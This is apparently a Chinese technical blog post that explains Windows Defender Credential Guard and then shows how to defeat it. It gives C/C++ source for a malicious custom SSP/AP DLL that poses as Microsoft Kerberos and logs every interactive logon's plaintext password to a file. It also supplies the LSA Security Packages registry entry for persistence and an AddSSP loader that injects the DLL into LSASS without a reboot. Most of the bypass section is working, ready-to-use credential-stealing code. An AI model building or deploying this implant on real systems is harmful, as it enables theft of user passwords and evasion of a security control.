为了避免攻击者转储用户的凭据信息,从 Windows 10 1507 企业版和 Windows Server 2016 开始,微软引入了 Windows Defender Credential Guard 安全控制机制,其使用基于虚拟化的安全性来隔离机密,依次保护 NTLM 密码哈希、Kerberos TGT 票据和应用程序存储为域凭据的凭据来防止凭据盗窃、哈希传递或票据传递等攻击。
在 Windows 10 之前,LSA 将操作系统所使用的密码存储在其进程内存中。启用 Windows Defender Credential Guard 后,操作系统中的 LSA 进程与存储和保护这些密钥的新组件(称为隔离的 LSA 进程,Isolated LSA Process)进行通信。 独立 LSA 进程存储的数据使用基于虚拟化的安全性进行保护,操作系统的其余部分无法访问。 LSA 使用远程过程调用来与隔离的 LSA 进程进行通信。
下图简要概述了如何使用基于虚拟化的安全性来隔离 LSA:
Source:How Credential Guard works
如果我们在启用了 Credential Guard 的系统上尝试使用 Mimikatz 从 LSASS 进程内存中提取凭证,我们会观察到以下结果。
如上图所示,我们无法从 LSASS 内存中提取任何凭据,NTLM 哈希处显示的是 “LSA Isolated Data: NtlmHash”。并且,即便已经通过修改注册表启用了 Wdigest,也依然获取不到任何明凭据。
为了进行比较,下图所示为不受 Credential Guard 保护的系统上的输出。
从 Windows 11 Enterprise, Version 22H2 和 Windows 11 Education, Version 22H 开始,兼容系统默认已启用 Windows Defender Credential Guard。
自定义安全包 API 支持组合开发自定义安全支持提供程序(SSP),后者为客户端/服务器应用程序提供非交互身份验证服务和安全消息交换,以及开发自定义身份验证包,为执行交互式身份验证的应用程序提供服务。这些服务在单个包中合并时称为安全支持提供程序/身份验证包(SSP/AP)。
SSP/AP 中部署的安全包与 LSA 完全集成。使用可用于自定义安全包的 LSA 支持函数,开发人员可以实现高级安全功能,例如令牌创建、 补充凭据支持和直通身份验证。
如果我们自定义安全支持提供程序/身份验证包(SSP/AP),并将其注册到系统,当用户重新进行交互式身份验证时,系统就会同通过我们自定义的 SSP/AP 传递明文凭据,这意味着我们可以提取到明文凭据并将其保存下来。这样便可以绕过 Credential Guard 的保护机制。
SSP/AP 安全包,为了同时执行身份验证包(AP)和安全支持提供程序(SSP),可以作为操作系统的一部分以及作为用户应用程序的一部分执行。这两种执行模式分别称为 LSA 模式和用户模式。这里我们需要的是 LSA 模式。
下面简单介绍一下关于 LSA 模式的初始化。
启动计算机系统后,本地安全机构(LSA)会自动将所有已注册的安全支持提供程序/身份验证包(SSP/AP)的 DLL 加载到其进程空间中,下图显示了初始化过程。
“Kerberos” 表示 Microsoft Kerberos SSP/AP,“My SSP/AP” 表示包含两个自定义安全包的自定义 SSP/AP。
启动时,LSA 调用每个 SSP/AP 中的 SpLsaModeInitialize() 函数,以获取指向 DLL 中每个安全包实现的函数的指针,函数指针以 SECPKG_FUNCTION_TABLE 结构数组的形式传递给 LSA。
收到一组 SECPKG_FUNCTION_TABLE 结构后,LSA 将调用每个安全包的 SpInitialize() 函数。LSA 使用此函数调用传递给每个安全包一个 LSA_SECPKG_FUNCTION_TABLE 结构,其中包含指向安全包调用的 LSA 函数的指针。除了存储指向 LSA 支持函数的指针外,自定义安全包还应使用 SpInitialize() 函数的实现来执行任何与初始化相关的处理。
在这里,我们的 SSP/AP 安全包需要实现下表中所示的几个函数。
由 SSP/AP 实现的函数 | 说明 |
---|---|
SpInitialize | 执行初始化处理,并提供一个函数指针列表。 |
SpShutDown | 在卸载 SSP/AP 之前执行所需的任何清理。 |
SpGetInfo | 提供有关安全包的一般信息,例如其名称、描述和功能。 |
SpAcceptCredentials | 将为经过身份验证的安全主体存储的凭据传递给安全包。 |
以下函数由我们自定义的安全支持提供程序/身份验证包(SSP/AP)实现,本地安全机构(LSA)通过使用 SSP/AP 的 SpLsaModeInitialize 函数提供的 SECPKG_FUNCTION_TABLE
结构来访问这些函数。
SpInitialize 函数由本地安全机构(LSA)调用一次,用于执行任何与初始化相关的处理,并提供一个函数指针列表,其中包含安全包调用的 LSA 函数的指针。
函数声明如下:
NTSTATUS Spinitializefn( [in] ULONG_PTR PackageId, [in] PSECPKG_PARAMETERS Parameters, [in] PLSA_SECPKG_FUNCTION_TABLE FunctionTable );
参数如下:
SECPKG_PARAMETERS
结构的指针。SpShutDown 函数在卸载安全支持提供程序/身份验证包 (SSP/AP) 之前,由本地安全机构(LSA)调用,用于在卸载 SSP/AP 之前执行所需的任何清理,以便释放资源。
函数声明如下:
NTSTATUS SpShutDown(void);
这个函数没有参数。
SpGetInfo 函数提供有关安全包的一般信息,例如其名称和功能描述。客户端调用安全支持提供程序接口(SSPI)的 QuerySecurityPackageInfo 函数时,将调用 SpGetInfo 函数。
函数声明如下:
NTSTATUS Spgetinfofn( [out] PSecPkgInfo PackageInfo );
参数如下:
SpAcceptCredentials 函数由本地安全机构(LSA)调用,以将为经过身份验证的安全主体存储的任何凭据传递给安全包。为 LSA 存储的每组凭据调用一次此函数。
函数声明如下:
NTSTATUS Spacceptcredentialsfn( [in] SECURITY_LOGON_TYPE LogonType, [in] PUNICODE_STRING AccountName, [in] PSECPKG_PRIMARY_CRED PrimaryCredentials, [in] PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials );
参数如下:
SECURITY_LOGON_TYPE
值。UNICODE_STRING
结构的指针。SECPKG_PRIMARY_CRED
结构的指针。ECPKG_SUPPLEMENTAL_CRED
结构的指针。通过 C/C++ 创建一个名为 CustSSP 的 DLL 项目,实现自定义 SSP/AP 包。由于篇幅限制,笔者仅提供关键代码部分。
#include "pch.h" static SECPKG_FUNCTION_TABLE SecPkgFunctionTable[] = { { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, _SpInitialize, _SpShutDown, _SpGetInfo, _SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL } }; NTSTATUS NTAPI _SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable) { return STATUS_SUCCESS; } NTSTATUS NTAPI _SpShutDown(void) { return STATUS_SUCCESS; } NTSTATUS NTAPI _SpGetInfo(PSecPkgInfoW PackageInfo) { PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION; PackageInfo->wVersion = 1; PackageInfo->wRPCID = SECPKG_ID_NONE; PackageInfo->cbMaxToken = 0; PackageInfo->Name = (SEC_WCHAR*)L"Kerberos"; PackageInfo->Comment = (SEC_WCHAR*)L"Microsoft Kerberos V5.0"; return STATUS_SUCCESS; } NTSTATUS NTAPI _SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials) { const wchar_t* LSA_LOGON_TYPE[] = { L"UndefinedLogonType", L"Unknown !", L"Interactive", L"Network", L"Batch", L"Service", L"Proxy", L"Unlock", L"NetworkCleartext", L"NewCredentials", L"RemoteInteractive", L"CachedInteractive", L"CachedRemoteInteractive", L"CachedUnlock", }; FILE* logfile; if (_wfopen_s(&logfile, L"CustSSP.log", L"a") == 0) { SspLog( logfile, L">>>>=================================================================\n" L"[+] Authentication Id : %u:%u (%08x:%08x)\n" L"[+] Logon Type : %s\n" L"[+] User Name : %wZ\n" L"[+] Domain : %wZ\n" L"[+] Logon Server : %wZ\n" L"[+] SID : %s\n" L"[+] SSP Credential : \n" L"\t* UserName : %wZ\n" L"\t* Domain : %wZ\n" L"\t* Password : ", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LSA_LOGON_TYPE[LogonType], AccountName, &PrimaryCredentials->DomainName, &PrimaryCredentials->LogonServer, SidToString(PrimaryCredentials->UserSid), &PrimaryCredentials->DownlevelName, &PrimaryCredentials->DomainName ); SspLogPassword(logfile, &PrimaryCredentials->Password); SspLog(logfile, L"\n"); fclose(logfile); } return STATUS_SUCCESS; } NTSTATUS NTAPI _SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE* ppTables, PULONG pcTables) { *PackageVersion = SECPKG_INTERFACE_VERSION; *ppTables = SecPkgFunctionTable; *pcTables = ARRAYSIZE(SecPkgFunctionTable); return STATUS_SUCCESS; }
在 CustSSP 中,我们依次实现了 SpInitialize、SpShutDown、SpGetInfo 和 SpAcceptCredentials 函数,并定义了一个名为 SecPkgFunctionTable
的 SECPKG_FUNCTION_TABLE
结构,用于存储指向这些函数的指针。
之后,我们通过定义 .def 文件将 CustSSP 中定义的 SpLsaModeInitialize
函数导出,如下所示。该函数会被本地安全机构(LSA)调用一次,从而将 CustSSP 中实现的函数的指针提供给 LSA。
LIBRARY EXPORTS SpLsaModeInitialize = _SpLsaModeInitialize
将编译生成的 CustSSP.dll 置于 C:\Windows\System32 目录中,并将 “CustSSP” 添加到以下注册表值的数据中,如下图所示。
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages
通常,SSP/AP DLL 存储在 %SystemRoot%/System32 目录中。如果这是自定义 SSP/AP DLL 的路径,则不包括路径作为 DLL 名称的一部分。 但是,如果 DLL 位于其他路径中,请在名称中包含 DLL 的完整路径。
当目标主机重新启动并进行交互式身份验证后,将在 C:\Windows\System32\CustSSP.log 中记录当前登录用户的明文密码,如下图所示。
成功利用该方法的条件是必须重新启动目标系统。因此只有启动计算机系统后,本地安全机构(LSA)才会自动将已注册的 SSP/AP 的 DLL 加载到其进程空间中。
然而,利用某些 Windows API,我们可以在不重启的情况下添加 SSP/AP。
AddSecurityPackage 是一个 SSPI 函数,用于将安全支持提供程序添加到提供程序列表中,该函数声明如下。
SECURITY_STATUS SEC_ENTRY AddSecurityPackageW( [in] LPSTR pszPackageName, [in] PSECURITY_PACKAGE_OPTIONS pOptions );
参数如下:
SECURITY_PACKAGE_OPTIONS
结构的指针,该结构指定有关安全包的其他信息。通过 C/C++ 创建一个名为 AddSSP 的项目,其代码如下所示。
#define SECURITY_WIN32 #include <stdio.h> #include <Windows.h> #include <Security.h> #pragma comment(lib,"Secur32.lib") int wmain(int argc, char** argv) { SECURITY_PACKAGE_OPTIONS option; option.Size = sizeof(option); option.Flags = 0; option.Type = SECPKG_OPTIONS_TYPE_LSA; option.SignatureSize = 0; option.Signature = NULL; // AddSecurityPackageW 默认在 System32 目录中搜索 CustSSP.dll if (AddSecurityPackageW((LPWSTR)L"CustSSP", &option) == SEC_E_OK) { wprintf(L"[*] Add security package successfully\n"); } }
编译并生成 AddSSP.exe 后,运行 AddSSP.exe 即可成功将 CustSSP.dll 添加到系统。需要注意的是,以上代码仅将 CustSSP 加载到 LSASS 进程中,系统重启后会失效,因此仍需将 “CustSSP” 添加到 Security Packages 注册表并将 CustSSP.dll 置于 C:\Windows\System32 目录中。
当用户输入用户名密码重新进行身份验证时,我们重新得到了他的明文密码,如下图所示。